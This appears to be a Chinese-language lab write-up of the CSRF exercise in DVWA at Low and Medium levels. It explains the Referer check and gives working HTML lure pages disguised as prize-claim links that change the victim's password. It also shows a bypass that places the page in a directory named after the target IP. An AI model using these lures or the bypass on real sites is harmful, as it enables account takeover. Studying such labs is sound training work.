1代码分析
过滤条件
if( stripos( $SERVER[ 'HTTP_REFERER' ] ,$SERVER[ 'SERVER_NAME' ]) !== false )
判断,$SERVER[ 'SERVER_NAME' ]在 $SERVER[ 'HTTP_REFERER' ] 中是否存在,寻找第一次出现的地址
$_SERVER[ ' SERVER_NAME' ] 网站的地址 192.168.0.9
$_SERVER[ 'HTTP_REFERER' ] 请求发起着地址 192.168.0.9(靶场地址)若从黑客构造的钓鱼网站跳转的,显示的是黑客攻击机的地址
2正常构造一个CSRF
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?
password_new=123456&password_conf=123456&Change=Change'>点击领取百万大奖</a>
</body>
</html>
WIN10-浏览器访问
BP抓包查看原因
推荐人不符合判断条件,请求被丢弃(在新版浏览器更新了策略,推荐人判断)
3手工增加策略构造攻击请求页面
<html>
<head>
<!- 设置推荐人策略,防止提交的内容被降级->
<meta name="referrer" content="no-referrer-when-downgrade">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change' referrer="no-referrer-when-downgrade">点击这里领取百万大奖</a>
</body>
</html>
可看到,伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到 $_SERVER[ 'SERVER_NAME' ] ,即找不到 192.168.0.9 这个 IP 地址。
4最后在Kali上通过修改网站结构目录构造192.168.0.9结构
┌──(root💀Tea)-[/var/www/html]
└─# mkdir 192.168.0.9
┌─(root💀Tea)-[/var/www/html/192.168.0.9]
└─# pwd /var/www/html/192.168.0.9
referer中已经有了绕过过滤的192.168.0.9,将创建的csrf.html写入目录
┌──(root💀Tea)-[/var/www/html]
└─# cp csrf.html 192.168.0.9/csrf.html
5成功修改密码
6.Low
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change'>点击这里领取百万大奖</a>
</body>
</html>
WIN10点击钓鱼链接被直接修改密码
有帮助到你,就点歌赞吧~~